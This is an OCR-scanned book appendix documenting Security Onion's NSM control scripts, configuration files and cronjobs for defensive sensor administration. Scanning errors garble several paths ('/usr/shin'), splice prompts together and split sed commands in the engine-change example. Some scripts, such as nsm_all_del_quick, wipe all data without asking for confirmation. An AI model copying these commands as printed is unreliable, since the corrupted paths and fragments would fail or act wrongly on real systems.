This final part of the book showed examples of some of the NSM capabil-
ities found outside the SO suite. As CIRTs realize that the power of NSM
must be applied to cloud environments and can be augmented by cloud
and collaborative platforms, I expect to see more offerings leveraging
those capabilities. Threat Stack, Packetloop, Mandiant, and CloudShark
are a few examples of companies integrating NSM-related services into
their core offerings. With luck, these and other solution providers will
continue to put tools and processes into the hands of CIRTs worldwide.
It is possible to defeat adversaries if we stop them before they accomplish
their mission. As it has been since the early 1990s, NSM will continue to
be a powerful, cost-effective way to counter intruders. Take heart, CIRTs;
the future remains bright!
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SO SCRIPTS
AND CONFIGURATION

by Doug Burks, creator of Security Onion

This appendix provides a quick reference
to the Security Onion (SO) control scripts
and configuration files. This material will
help SO users better administer and optimize
their sensor deployments.

SO Control Scripts

The NSM control scripts are one of the core components of SO. These
scripts were originally a part of the NSMnow package developed by the
SecurixLive team (http://www.securixlive.com/nsmnow/docs/index.php), but
they have been heavily modified for use in SO.
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The NSM scripts were first developed to control a Sguil server (sguild),
its agents (snort_agent, pads_agent, sancp_agent, and pcap_agent), and its sensor
components (snort, pads, sancp, and daemonlogger). The following are some of
the changes we’ve made to SO:

e Added the ability to use Suricata instead of Snort

e Added the ability to spin up multiple instances of Snort via PF_RING (and
an equal number of instances of barnyard2 and snort_agent)

e Added control of Argus

e Added control of Bro

e Added control of Sguil’s OSSEC agent
e Added control of Sguil’s HTTP agent

e Replaced pads and sancp with prads

e Replaced daemonlogger with netsniff-ng

The NSM scripts are installed at /usr/sbin/nsm* and require root privi-
leges, so they should be run using sudo. The directory /usr/sbin/ should be
in your PATH variable, so you shouldn’t need to include the full path when
executing the commands. The full path is included in the examples here
for completeness.

We won’t cover every option for every script, but you can explore each
of these scripts using --help to learn more about them. For example, to see
more information about /usr/sbin/nsm, enter this command:

$ sudo /usr/sbin/nsm --help

The NSMnow Administration scripts are designed to easily configure and manage
your NSM installation. Bugs, comments and flames can be directed to the

SXL team at dev@securixlive.com

The NSMnow Administration scripts come with ABSOLUTELY NO WARRANTY.

Usage: /usr/sbin/nsm [options]

Options:
-U Check and apply any available upgrades
-V Show version information
-? Show usage information

Long Options:

--sensor See nsm_sensor

--server See nsm_server

--all Performs actions on both sensor and server
--upgrade Same as -U

--version Same as -V

--help Same as -?

312 Appendix
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/usr/shin/nsm

The high-level /usr/sbin/nsm script can pass options to some of the under-
lying scripts such as nsm_server and nsm_sensor. To check the status of all

server and sensor processes, enter the following:

$ sudo /usr/sbin/nsm --all --status

Status: securityonion
* sguil server
Status: HIDS
* ossec_agent (sguil)

Status: Bro
Name Type Host Status
bro standalone localhost running

Status: securityonion-eth1

* netsniff-ng (full packet data)
pcap_agent (sguil)
snort_agent-1 (sguil)
snort-1 (alert data)
barnyard2-1 (spooler, unified2 format)
prads (sessions/assets)
sancp_agent (sguil)
pads_agent (sguil)
argus
* http_agent (sguil)

¥ ¥ X ¥ ¥ X ¥ ¥

Pid Peers Started

0K

0K

13015 O 18 Feb 16:35:40

— e e —

0K
OK
OK
0K
0K
OK
OK
0K
0K
OK

/etc/init.d/nsm is a wrapper for “/usr/sbin/nsm -all”, so you can also do:

sudo service nsm status

e e

In addition to status, you can use other process control keywords, such

as start, stop, and restart.

Just/shin/nsm_all_del

The high-level /usr/sbin/nsm_all_del script will prompt for user confirmation,
and then call nsm_all_del_quick to delete all NSM data and configuration.

$ sudo /usr/sbin/nsm_all_del

WARNING!

Continuing will permanently delete all NSM configuration and data!

Press Ctrl-C to cancel.
OR
Press Enter to continue.

Stopping: securityonion

* stopping: sguil server
Stopping: HIDS

* stopping: ossec_agent (sguil)
Stopping: Bro
stopping bro ...
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Stopping: securityonion-ethi
*

stopping: netsniff-ng (full packet data) [ oK ]
* stopping: pcap_agent (sguil) [ oK ]
* stopping: snort_agent-1 (sguil) [ oK ]
* stopping: snort-1 (alert data) [ ok ]
* stopping: barnyard2-1 (spooler, unified2 format) [ oK ]
* stopping: prads (sessions/assets) [ oK ]
* stopping: sancp_agent (sguil) [ oK ]
* stopping: pads_agent (sguil) [ ok ]
* stopping: argus [ oK ]
* stopping: http_agent (sguil) [ oK ]

Delete Sensor
All configurations and collected data for sensor "securityonion-eth1" will be
deleted.

Deleting sensor: securityonion-eth1

* removing configuration files [ oK ]
* removing collected data files [ oK ]
* updating the sensor table [ oK ]

Delete Server
A1l configurations and collected data for server "securityonion" will be
deleted.

Deleting server:ontinue? (Y/N) [N]:

* removing configuration files [ OK ]
* removing collected data files [ OK ]
* removing database [ oK ]
* updating the server table [ oK ]

/usr/shin/nsm_all_del_quick

The high-level /usr/sbin/nsm_all_del_quick script will call nsm_sensor_del and
nsm_server_del to delete all NSM data and configuration, but will not prompt
for user confirmation. Be careful with this one!

$ sudo nsm_all_del_quick

Stopping: securityonion

* stopping: sguil server [ oK ]
Stopping: HIDS
* stopping: ossec_agent (sguil) [ oK ]

Stopping: Bro
stopping bro ...
Stopping: securityonion-eth1

* stopping: netsniff-ng (full packet data) [ oK ]
* stopping: pcap_agent (sguil) [ oK ]
* stopping: snort_agent-1 (sguil) [ oK ]
* stopping: snort-1 (alert data) [ oK ]
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stopping: prads (sessions/assets)
stopping: sancp_agent (sguil)
stopping: pads_agent (sguil)
stopping: argus

stopping: http_agent (sguil)

¥ X ¥ ¥ ¥ %

Delete Sensor

stopping: barnyard2-1 (spooler, unified2 format)

— e ——

0K
0K
0K
OK
0K
0K

e

All configurations and collected data for sensor "securityonion-eth1" will be

deleted.

Deleting sensor: securityonion-eth1
* removing configuration files
* removing collected data files
* updating the sensor table

Delete Server

A1l configurations and collected data for server "securityonion" will be

deleted.

Deleting server:ontinue? (Y/N) [N]:
* removing configuration files
* removing collected data files
* removing database
* updating the server table

— e

0K
0K
0K

0K
0K
OK
0K

[ —1

/ust/shin/nsm_sensor

The high-level /usr/sbin/nsm_sensor script can pass options to some of the

underlying nsm_sensor_* scripts.

$ sudo /usr/sbin/nsm_sensor --status

Status: HIDS

* ossec_agent (sguil) [ oK ]

Status: Bro

Name Type Host Status Pid Peers Started

bro standalone localhost running 13015 O 18 Feb 16:35:40

Status: securityonion-eth1
* netsniff-ng (full packet data) [ ok ]
* pcap_agent (sguil) [ oK ]
* snort_agent-1 (sguil) [ oK ]
* snort-1 (alert data) [ oK ]
* barnyard2-1 (spooler, unified2 format) [ oK ]
* prads (sessions/assets) [ ok ]
* sancp_agent (sguil) [ oK ]
* pads_agent (sguil) [ oK ]
* argus [ 0K ]
* http_agent (sguil) [ oK ]
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/ust/shin/nsm_sensor_add

The /usr/sbin/nsm_sensor_add script is called by the setup wizard to add a new
sensor. You shouldn’t need to run this script manually.

/usr/shin/nsm_sensor_backup-config

The /usr/sbin/nsm_sensor_backup-config script will back up sensor configura-
tion files to a user-specified tarball.

/usr/shin/nsm_sensor_backup-data

The /usr/sbin/nsm_sensor_backup-data script will back up sensor datafiles to a
user-specified tarball. Keep in mind that datafiles consist of full packet cap-
ture and could be many gigabytes or terabytes.

/ust/shin/nsm_sensor_clean

The /usr/sbin/nsm_sensor_clean script is called by an hourly cronjob. If disk
usage is at 90 percent or higher, the oldest day’s worth of NSM data (pcaps,
Bro logs, and so on) will be deleted until disk usage is below 90 percent. The
process is repeated until disk usage falls below 90 percent.

/usrt/shin/nsm_sensor clear

The /usr/sbin/nsm_sensor_clear script clears all data from a sensor.

$ sudo /usr/sbin/nsm_sensor_clear --sensor-name=securityonion-ethi

Clear Sensor
All collected data for sensor "securityonion-ethi" will be cleared.

Do you want to continue? (Y/N) [N]: y
Clearing sensor: securityonion-eth1

* removing bookmarks [ ok ]
* removing collected data files [ oK ]
* removing collected log directories [ oK ]

Just/shin/nsm_sensor_del

The /usr/sbin/nsm_sensor_del script removes all data and configuration for a
user-specified sensor, permanently disabling it.

$ sudo /usr/sbin/nsm_sensor_del --sensor-name=securityonion-ethi

Delete Sensor

All configurations and collected data for sensor "securityonion-eth1" will be
deleted.

Do you want to continue? (Y/N) [N]: y
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Deleting sensor: securityonion-eth1
* removing configuration files
* removing collected data files
* updating the sensor table

———

o O O
R R

—

/ust/shin/nsm_sensor_edit

The /usr/sbin/nsm_sensor_edit script allows you to edit certain details of a
sensor’s configuration.

/ust/shin/nsm_sensor_ps-daily-restart

The /usr/sbin/nsm_sensor_ps-daily-restart script is called by a daily cronjob at
midnight to restart any services that may be dealing with date-based output
and need to roll to a new date stamp.

/usr/shin/nsm_sensor_ps-restart

The /usr/sbin/nsm_sensor_ps-restart script is used to restart sensor processes.

$ sudo /usr/sbin/nsm_sensor_ps-restart

Restarting: HIDS

* stopping: ossec_agent (sguil) [ ok ]
* starting: ossec_agent (sguil) [ ok ]
Restarting: Bro
stopping bro ...
starting bro ...
Restarting: securityonion-eth1
* restarting with overlap: netsniff-ng (full packet data)
* starting: netsniff-ng (full packet data) [ ok ]
- stopping old process: netsniff-ng (full packet data) [ ok ]
* stopping: pcap_agent (sguil) [ oK ]
* starting: pcap_agent (sguil) [ oK ]
* stopping: snort_agent-1 (sguil) [ ok ]
* starting: snort_agent-1 (sguil) [ ok ]
* stopping: snort-1 (alert data) [ ok ]
* starting: snort-1 (alert data) [ oK ]
* stopping: barnyard2-1 (spooler, unified2 format) [ oK ]
* starting: barnyard2-1 (spooler, unified2 format) [ ok ]
* stopping: prads (sessions/assets) [ oK ]
* starting: prads (sessions/assets) [ ok ]
* stopping: pads_agent (sguil) [ oK ]
* starting: pads_agent (sguil) [ ok ]
* stopping: sancp_agent (sguil) [ oK ]
* starting: sancp_agent (sguil) [ oK ]
* stopping: argus [ oK ]
* starting: argus [ ok ]
* stopping: http_agent (sguil) [ oK ]
* starting: http_agent (sguil) [ oK ]
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Note that this and the remaining nsm_sensor_ps-* scripts allow you to be
very granular in what sensors or processes you control. For example, notice
the --only-, --skip-, and --sensor-name= options in the following --help listing:

$ sudo /usr/sbin/nsm_sensor_ps-restart --help
The NSMnow Administration scripts come with ABSOLUTELY NO WARRANTY.

Usage: /usr/sbin/nsm_sensor_ps-restart [options]

Options:
-d Use dialog mode
-y Force yes
-V Show version information
-? Show usage information

Long Options:

--Sensor-name=<name> Define specific sensor <name> to process
--only-barnyard2 Only process barnyard2
--only-snort-alert Only process snort alert
--only-pcap Only process packet logger
--only-argus Only process argus

--only-prads Only process prads

--only-bro Only process bro
--only-pcap-agent Only process pcap_agent
--only-sancp-agent Only process sancp_agent
--only-snort-agent Only process snort_agent
--only-http-agent Only process http_agent
--only-pads-agent Only process pads_agent
--only-ossec-agent Only process ossec_agent
--skip-barnyard2 Skip processing of barnyard2
--skip-snort-alert Skip processing of snort alert
--skip-pcap Skip processing of packet logger
--skip-argus Skip processing of argus
--skip-prads Skip processing of prads
--skip-bro Skip processing of bro
--skip-pcap-agent Skip processing of pcap_agent
--skip-sancp-agent Skip processing of sancp_agent
--skip-snort-agent Skip processing of snort_agent
--skip-http-agent Skip processing of http agent
--skip-pads-agent Skip processing of pads_agent
--skip-ossec-agent Skip processing of ossec_agent
--if-stale Only restart processes that have crashed
--dialog Same as -d

--force-yes Same as -y

--version Same as -V

--help Same as -?
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For example, suppose you've just made changes to snort.conf, and you
want to restart Snort to make those changes take effect. Instead of restart-

ing the entire stack, you could restart just the Snort process, as follows:

$ sudo /usr/sbin/nsm_sensor_ps-restart --only-snort-alert

Restarting: securityonion-eth1
* stopping: snort-1 (alert data)
* starting: snort-1 (alert data)

/ust/shin/nsm_sensor_ps-start

The /usr/sbin/nsm_sensor_ps-start script is used to start sensor processes.

$ sudo /usr/sbin/nsm_sensor_ps-start

Starting: HIDS
* starting: ossec_agent (sguil)
Starting: Bro
starting bro ...
Starting: securityonion-eth1

starting: pcap_agent (sguil)
starting: snort_agent-1 (sguil)
starting: snort-1 (alert data)

starting: prads (sessions/assets)
starting: pads_agent (sguil)
starting: sancp_agent (sguil)
starting: argus

starting: http_agent (sguil)

disk space currently at 26%

¥ X K X X X X ¥ ¥ * ¥

starting: netsniff-ng (full packet data)

starting: barnyard2-1 (spooler, unified2 format)

— e e e —

0K

0K
OK
0K
0K
0K
0K
0K
0K
0K
OK

e e

/ust/shin/nsm_sensor_ps-status

The /usr/sbin/nsm_sensor_ps-status script is used to check the status of sensor

processes.

$ sudo /usr/sbin/nsm_sensor_ps-status

Status: HIDS
* ossec_agent (sguil)

Status: Bro
Name Type Host Status
bro standalone localhost running

Status: securityonion-eth1
* netsniff-ng (full packet data)
pcap_agent (sguil)
snort_agent-1 (sguil)
snort-1 (alert data)
barnyard2-1 (spooler, unified2 format)

* ¥ x ¥
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[ ok ]
Pid  Peers Started
15426 0 18 Feb 16:40:23
[ ok ]
[ oK ]
[ oK ]
[ ok ]
[ ok ]
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* prads (sessions/assets) [ oK
* sancp_agent (sguil) [ oK
* pads_agent (sguil) [ oK
* argus [ OK
* http_agent (sguil) [ oK

— e

/usr/shin/nsm_sensor_ps-stop

The /usr/sbin/nsm_sensor_ps-stop script is used to stop sensor processes.

$ sudo /usr/sbin/nsm_sensor_ps-stop

Stopping: HIDS
* stopping: ossec_agent (sguil) [ oK

Stopping: Bro

stopping bro ...

Stopping: securityonion-eth1
%

stopping: netsniff-ng (full packet data) [ oK
* stopping: pcap_agent (sguil) [ oK
* stopping: snort_agent-1 (sguil) [ oK
* stopping: snort-1 (alert data) [ oK
* stopping: barnyard2-1 (spooler, unified2 format) [ OK
* stopping: prads (sessions/assets) [ oK
* stopping: sancp_agent (sguil) [ oK
* stopping: pads_agent (sguil) [ OK
* stopping: argus [ oK
* stopping: http_agent (sguil) [ oK

— e e e e e

/usrt/shin/nsm_server

The high-level /usr/sbin/nsm_server script can pass options to some of the
underlying nsm_server_* scripts.

$ sudo /usr/sbin/nsm_server --status

Status: securityonion
* sguil server [ oK

Just/shin/nsm_server_add

The /usr/sbin/nsm_server_add script is used by the setup wizard to create a
new Sguil server (sguild). You shouldn’t need to run this script manually.

/ust/shin/nsm_server_backup-config

The /usr/sbin/nsm_server_backup-config script backs up the sguild configura-
tion files to a user-specified tarball.

/ust/shin/nsm_server_backup-data

The /usr/sbin/nsm_server_backup-data script backs up the sguild data to a
user-specified tarball.
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/ust/shin/nsm_server_clear

The /usr/sbin/nsm_server_clear script clears all sguild data.

Just/shin/nsm_server_del

The /usr/sbin/nsm_server_del script permanently deletes the Sguil server
(sguild).

/ust/shin/nsm_server_edit

The /usr/sbin/nsm_server_edit script can be used to edit certain details of the
sguild configuration.

/usr/shin/nsm_server_ps-restart

The /usr/sbin/nsm_server_ps-restart script can be used to restart sguild.

$ sudo /usr/sbin/nsm_server_ps-restart

Restarting: securityonion
* stopping: sguil server [ ok ]
* starting: sguil server [ oK ]

/ust/shin/nsm_server_ps-start

The /usr/sbin/nsm_server_ps-start script can be used to start sguild.

$ sudo /usr/sbin/nsm_server ps-start

Starting: securityonion
* starting: sguil server [ ok ]

/ust/shin/nsm_server_ps-status

The /usr/sbin/nsm_server_ps-status script can be used to check the status of
sguild.

$ sudo /usr/sbin/nsm_server_ps-status

Status: securityonion
* sguil server [ oK ]

/usr/shin/nsm_server_ps-stop

The /usr/sbin/nsm_server_ps-stop script can be used to stop sguild.

$ sudo /usr/sbin/nsm_server_ps-stop

Stopping: securityonion
* stopping: sguil server [ ok ]

SO Scripts and Configuration 3N
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/ust/shin/nsm_server_sensor-add

The /usx/sbin/nsm_server_sensor-add script is used to add a sensor to the
sguild configuration.

/ust/shin/nsm_server_sensor-del

The /usr/sbin/nsm_server_sensor-del script is used to delete a sensor from the
sguild configuration.

/ust/shin/nsm_server_user-add

The /usr/sbin/nsm_server_user-add script is used to add a new sguild user.

$ sudo /usr/sbin/nsm_server_user-add

User Name
Enter the name of the new user that will be granted privilege to connect to
this server.: richard

User Pass

Enter the password for the new user that will be granted privilege to connect
to this server.:

Verify:

Add User to Server
The following information has been collected:

server: securityonion
user: richard

Do you want to create? (Y/N) [Y]: y
Adding user to server: richard => securityonion

SO Configuration Files

Appendix

Configuration files control how SO applications operate. Administrators
can change the contents of some of these files to tailor how SO collects and
interprets NSM data.

The SO team configures SO with sensible defaults, but in some cases,
changes may be appropriate. This section describes SO’s configuration files,
including whether the SO team believes that administrators may sometimes
need to make changes to them.

Jetc/nsm/

/etc/nsm/ is the main configuration directory. It contains the following:

administration.conf
ossec/

pulledpork/

rules/
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securityonion/
securityonion.conf
sensortab

servertab

templates/
$HOSTNAME - $INTERFACE

The final entry in this list will vary based on your hostname and the
interfaces you choose to monitor. For example, the following is output from
my sensor named securityonion with a single monitored interface (eth1):

-IW-r--r-- 1 root 7root 247 Jul 24 2012 administration.conf
drwxr-xr-x 2 root root 4.0K Feb 18 16:16 ossec

drwxr-xr-x 2 root root 4.0K Dec 18 11:15 pulledpork
drwxr-xr-x 3 root root 4.0K Feb 18 16:16 rules

drwxrwxr-x 3 sguil sguil 4.0K Feb 18 16:16 securityonion
-Iw-r--r-- 1 root root 37 Feb 18 16:16 securityonion.conf
drwxrwxr-x 2 sguil sguil 4.0K Feb 18 16:17 securityonion-eth1
-Tw-r--r-- 1 root root 31 Feb 18 16:16 sensortab
-IW-r--r-- 1 root 7root 349 Feb 18 16:16 servertab
drwxr-xr-x 8 root root 4.0K Dec 18 11:14 templates

Let’s look at each of these files and directories in turn.

/etc/nsm/administration.conf

The /etc/nsm/administration.conffile defines some filesystem locations for the
NSM scripts. You should never need to change anything in this file.

/etc/nsm/ossec/

The /etc/nsm/ossec/ directory contains the OSSEC agent for Sguil (ossec_
agent.tcl) and its configuration file (ossec_agent.conf). You probably won’t
need to modify these files.

/etc/nsm/pulledpork/

The /etc/nsm/pulledpork/ directory contains the configuration files for
PulledPork, which is responsible for downloading IDS rulesets from the
Internet. The main configuration file for PulledPork is pulledpork.conf, but
you’ll probably spend most of your time modifying disablesid.conf, enablesid
.conf, and modifysid.confto tune your ruleset.

/etc/nsm/rules/

The /etc/nsm/rules/ directory contains the IDS ruleset(s) downloaded
by PulledPork and associated files that control the sensor processes. When
PulledPork runs, it stores the rules in downloaded.rules. Don’t modify this file
manually because PulledPork will overwrite it automatically the next time it
runs. Instead, tune your ruleset using the files in /etc/nsm/pulledpork/.

You can write your own rules and store them in local.rules. To tune a
particular rule without totally disabling it, use threshold.conf. To specify a
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Berkeley Packet Filter (BPF) so that the sniffing processes will selectively
ignore traffic from certain IP addresses, use bpf.conf. Bro automatically
monitors this file for changes and will update it as needed. Other services
(such as Snort and Suricata, PRADS, and Netsniff-ng) will need to be
restarted for the change to take effect.

/etc/nsm/securityonion/

The /etc/nsm/securityonion/ directory contains the following Sguil server
(sguild) configuration files:

autocat.conf Used to configure Sguil to automatically categorize
certain events.

certs Contains the files used to secure communications between the
Sguil server (sguild) and its agents and clients.

server.conf Contains some general settings used to start sguild and
should not need to be modified.

sguild.access Used to control access to sguild.

sguild.conf Contains general settings for sguild and probably doesn’t
need to be changed.

sguild.email Allows you to configure Sguil to automatically send email
when certain events occur.

sguild.queries Contains queries that can be accessed from the Sguil
client by selecting Query » Standard Queries.

sguild.users 'This file should not be modified.

/et¢/nsm/securityonion.conf

The /etc/nsm/securityonion.conffile contains the IDS_ENGINE, DAYSTOKEEP, and
ELSA settings, which let you change the intrusion detection system (IDS)
engine, the amount of time data is kept in the Sguil database, and whether
ELSA is enabled, respectively.

If you run the setup wizard and select Quick Setup, SO will default to
using Snort as the IDS engine. If you choose Advanced Setup, SO will ask if
you want to run Snort or Suricata. In either case, the setup wizard will set
the IDS_ENGINE variable. If you later decide to change your IDS engine, you
can stop all sensor processes, change the IDS_ENGINE setting, execute rule-
update, and then restart all sensor processes.

For example, suppose you ran the Quick Setup, giving you the default
of Snort. If you want to try Suricata, do the following:

$ sudo nsm_sensor_ps-stop

Stopping: HIDS

* stopping: ossec_agent (sguil) [ oK ]
Stopping: Bro
waiting for lock ........ ok

stopping bro ...
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Stopping: secu
stopping:
stopping:
stopping:
stopping:
stopping:
stopping:
stopping:
stopping:
stopping:
stopping:

¥ X X X X X X ¥ ¥ *

$ sudo sed -i
$ sudo rule-up
$ sudo nsm_sen
Starting: HIDS

* starting:
Starting: Bro

rityonion-eth1

netsniff-ng (full packet data)
pcap_agent (sguil)
snort_agent-1 (sguil)

snort-1 (alert data)
barnyard2-1 (spooler, unified2 format)
prads (sessions/assets)
sancp_agent (sguil)

pads_agent (sguil)

argus

http_agent (sguil)

el e R Ee R R K W W |

0K
0K
OK
0K
0K
0K
OK
0K
0K
0K

e e e e

's|ENGINE=snort | ENGINE=suricata|g' /etc/nsm/securityonion.conf

date > /dev/null

sor_ps-start

ossec_agent (sguil)

starting bro ...

Starting: secu
starting:
starting:
starting:
starting:
starting:
starting:
starting:
starting:
starting:
starting:
disk space

¥ X X X X X X ¥ ¥ * *

rityonion-eth1

netsniff-ng (full packet data)
pcap_agent (sguil)

snort_agent (sguil)

suricata (alert data)
barnyard2 (spooler, unified2 format)
prads (sessions/assets)
pads_agent (sguil)

sancp_agent (sguil)

argus

http_agent (sguil)

currently at 26%

— e e —

OK

OK
0K
0K
OK
OK
0K
0K
OK
OK
0K

S ST ST S ST Sy W'

The DAYSTOKEEP variable allows you to define the retention policy for the
Sguil database. A daily cronjob deletes any data in securityonion_db older than

$DAYSTOKEEP. T

he default is 365.

The ELSA variable is set when the setup wizard asks if you want to
enable ELSA.

/etc/nsm/sen

sortab

If the box is configured to monitor interfaces, this file contains the list of

interfaces to be monitored. To disable the sniffing processes on an interface,
you can temporarily stop interfaces as follows (replacing HOSTNAME-INTERFACE
with your actual hostname and interface name):

sudo nsm_sensor_ps-stop --sensor-name=HOSTNAME-INTERFACE
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To disable an interface permanently, comment out the relevant line in
/etc/nsm/sensortab. For example, suppose you ran the Quick Setup and were
monitoring eth1, but then decided to move the sensor components off to a
separate box, making this just a server and not a sensor.

$ sudo nsm_sensor_ps-stop --sensor-name=securityonion-ethi

Stopping: HIDS
* stopping: ossec_agent (sguil) [ oK ]

Stopping: Bro

stopping bro ...

Stopping: securityonion-eth1
%

stopping: netsniff-ng (full packet data) [ oK ]
* stopping: pcap_agent (sguil) [ oK ]
* stopping: snort_agent-1 (sguil) [ oK ]
* stopping: snort-1 (alert data) [ oK ]
* stopping: barnyard2-1 (spooler, unified2 format) [ ok ]
* stopping: prads (sessions/assets) [ oK ]
* stopping: sancp_agent (sguil) [ oK ]
* stopping: pads_agent (sguil) [ oK ]
* stopping: argus [ ok ]
* stopping: http_agent (sguil) [ oK ]

$ sudo sed -i 's|securityonion-ethi|#securityonion-ethi|g' /etc/nsm/sensortab
$ sudo service nsm status

Status: securityonion
* sguil server [ ok ]

/etc/nsm/servertab

If the box is configured as a server, the /etc/nsm/servertab file contains the
internal name of the server (securityonion).

/etc/nsm/templates/

The /etc/nsm/templates/ directory contains template files for barnyardz,
http_agent, prads, pulledpork, snort, and suricata. The setup wizard copies the
template files from these directories into the target directories and custom-
izes them using the choices you made during setup. You shouldn’t modify
these files.

/etc/nsm/SHOSTNAME-SINTERFACE/

Youw'll have an /etc/nsm/$HOSTNAME -$INTERFACE/ directory for each interface that
you choose to monitor. For example, suppose your hostname is securityonion
and you have a quad-port network interface card (etho, ethi, eth2, and eth3),
but you choose to monitor only eth1 and eth2. You will have the following
sensor configuration directories:
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/etc/nsm/securityonion-eth1/
/etc/nsm/securityonion-eth2/

Let’s look at the files in each of these directories.

barnyard2.conf

The barnyard2.conffile configures barnyard2, the process used to pick up
unified2 output from Snort or Suricata and insert the alerts into Sguil,
Snorby, or ELSA. There may be multiple barnyard2.conffiles to handle
multiple instances of Snort.

You generally don’t need to modify this file unless you decide to add or
remove some of the outputs. For example, you might decide to stop sending
IDS alerts to ELSA, and forward them to a corporate security information
event management platform instead.

bpf.conf files

A global configuration file called bpf.confat /etc/nsm/rules/bpf.conf applies

to all processes on all interfaces by default. Each process on each interface
has its own .bpf file, but by default, the per-process .bpffiles are symlinked to
the interface bpf, and the interface bpf is symlinked to the global bpf.conf, as
shown here:

lrwxrwxrwx 1 root root 8 Feb 18 16:16 bpf-bro.conf -> bpf.conf
lrwxrwxrwx 1 root root 23 Feb 18 16:16 bpf.conf -> /etc/nsm/rules/bpf.conf
lrwxrwxrwx 1 root root 8 Feb 18 16:16 bpf-ids.conf -> bpf.conf
lrwxrwxrwx 1 root root 8 Feb 18 16:16 bpf-pcap.conf -> bpf.conf
lrwxrwxrwx 1 root root 8 Feb 18 16:16 bpf-prads.conf -> bpf.conf

To specify a bpf per-interface or per-process, simply replace the default
symlinks with the desired bpf files and restart services as necessary.

http_agent.conf

http_agent sends Bro HTTP logs into the Sguil database, and http_agent.conf
allows you to configure which HTTP logs are included. For example, you
may want to exclude high-traffic sites that your users normally visit in order
to avoid bloating the Sguil database.

If you’re running ELSA, you may want to disable http_agent altogether to
prevent duplication of effort, since all Bro HTTP logs can be found in ELSA.

pads_agent.conf

The pads_agent.conffile configures pads_agent, which takes asset data from
PRADS and inserts it into Sguil. You generally don’t need to change any-
thing here.
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pcap_agent.conf

The pcap_agent.conffile configures the pcap_agent, which allows the Sguil
server to request a pcap from the sensor’s pcap store. You probably won’t
need to change anything here.

prads.conf

The prads.conffile configures PRADS, a replacement for PADS and SANCP.

PRADS creates both asset data and session data. If you're monitoring
anything other than RFC 1918 address ranges, update the home_nets variable
in this file.

sancp_agent.conf

The sancp_agent.conffile configures the sancp_agent, which takes session data
from PRADS and inserts it into Sguil. You probably won’t need to change
anything here.

sensor.conf

The sensor.conffile contains a few different variables referenced by the NSM
scripts when starting processes. Most settings should remain at their default,
but you may need to tune IDS_LB_PROCS, which controls how many PF_RING
load-balanced processes are instantiated for Snort and Suricata. The setup
wizard will automatically ask you how many PF_RING instances you would like
for Snort or Suricata and Bro (assuming you choose Advanced Setup and
you have multiple cores).

If you need to adjust this setting after setup, stop the NSM processes,
modify the IDS_LB_PROCS variable in sensor.conf, and then restart the NSM pro-
cesses. If you're running Snort, the script automatically spawns $IDS_LB_PROCS
instances of Snort (using PF_RING), barnyard2, and snort_agent. If you're run-
ning Suricata, the script automatically copies $IDS_LB_PROCS into suricata
.yaml, and then Suricata spins up the PF_RING instances itself. Since Suricata
is managing the PF_RING instances, it creates only one unified2 output, and
therefore only one instance of barnyard2 and snort_agent are needed.

In the following example, we start with the default of IDS_LB_PROCS=1,
increase the setting to 2, and then restart the NSM processes. Notice that we
end up with two snort processes, two snort_agent processes, and two barnyard2
processes.

$ sudo nsm_sensor_ps-stop

Stopping: HIDS
* stopping: ossec_agent (sguil) [ oK ]
Stopping: Bro
stopping bro ...
Stopping: securityonion-ethi

* stopping: netsniff-ng (full packet data) [ oK ]
* stopping: pcap_agent (sguil) [ oK ]
* stopping: snort_agent-1 (sguil) [ oK ]
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stopping: snort-1 (alert data) [ ok
stopping: barnyard2-1 (spooler, unified2 format) [ oK
stopping: prads (sessions/assets) [ oK
stopping: sancp_agent (sguil) [ oK
stopping: pads_agent (sguil) [ oK
stopping: argus [ oK
stopping: http_agent (sguil) [ oK

¥ ¥ X ¥ ¥ ¥ %

e

$ sudo sed -i 's|IDS_LB_PROCS=1|IDS_LB_PROCS=2|g' /etc/nsm/securityonion-eth1/
sensor.conf

$ sudo nsm_sensor_ps-start

Starting: HIDS
* starting: ossec_agent (sguil) [ oK ]

Starting: Bro

starting bro ...

Starting: securityonion-eth1

starting: netsniff-ng (full packet data)

starting: pcap_agent (sguil)

starting: snort_agent-1 (sguil)

starting: snort_agent-2 (sguil)

starting: snort-1 (alert data) 0K

starting: snort-2 (alert data) 0K

[ oK

[

[

[

i
starting: barnyard2-1 (spooler, unified2 format) [ oK

[

[

[

[

[

[

OK
0K
0K

starting: barnyard2-2 (spooler, unified2 format) (0]¢
starting: prads (sessions/assets) 0K
starting: pads_agent (sguil) 0K
starting: sancp_agent (sguil) (0]
starting: argus (014
starting: http_agent (sguil) (0]¢
disk space currently at 26%

O S S ST S S ST S S S (S S

¥ K K X X X X X X X ¥ ¥ * ¥

As a sidenote, if you want to change the number of load-balanced pro-
cesses for Bro, edit /opt/bro/etc/node.cfg and change the 1b_procs variable,
and then issue the following commands:

sudo broctl install
sudo broctl restart

snort_agent.conf

The snort_agent.conffile configures the snort_agent, which takes alerts from
barnyard2 and inserts them into the Sguil database. You probably don’t need
to change anything here.

There may be multiple snort_agent.conffiles to handle multiple instances
of Snort.

snort.conf

The snort.conffile configures Snort. Even if you've set IDS_LB_PROCS greater
than 1, there will be only one snort.conffile, to ensure that Snort instances
on the same interface are configured identically.
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suricata.yaml

The suricata.yaml file configures Suricata. The NSM scripts copy $IDS_LB_PROCS
from sensor.confinto suricata.yaml, and then Suricata spins up the PF_RING
instances itself.

/etc/cron.d/

The /etc/cron.d/ directory contains some important cronjobs, so let’s look at
each of these.

bro This cronjob runs the recommended broctl cron every five minutes
to ensure that Bro is running properly.

elsa This cronjob runs the default ELSA cronjob every minute.

nsm-watchdog This cronjob checks the NSM sensor processes every five
minutes, and restarts them if they have failed.

rule-update This cronjob runs rule-update at 7:01 AM Universal Coordinated
Time (UTC). If the NSM box is a stand-alone or server, rule-update will
use PulledPork to download a new IDS ruleset from the Internet. If the
box is a sensor, it will wait a few minutes for the server download to com-
plete, and then use scp to copy the new IDS ruleset from the server to the
local sensor. This script also copies tuning files such as threshold.confand
bpf-conf, allowing you to make changes in one place (your central server)
that will apply to all of your distributed sensors automatically.

sensor-clean This is an hourly cronjob that prevents full packet capture
and other logfiles from filling your disk. If disk usage is above 90 per-
cent, the oldest day’s worth of NSM data (pcaps, Bro logs, and so on)
are deleted. This is repeated until the disk usage is below 90 percent.
sensor-newday This daily cronjob runs at midnight to restart any services
that may be dealing with date-based output and need to roll to a new
date stamp.

sguil-db-purge This daily cronjob runs at 5:01 AM UTC and performs
database maintenance, including deleting any data older than $DAYSTOKEEP
(as defined in /etc/nsm/securityonion.conf) and repairing any corrupted
MySQL tables.

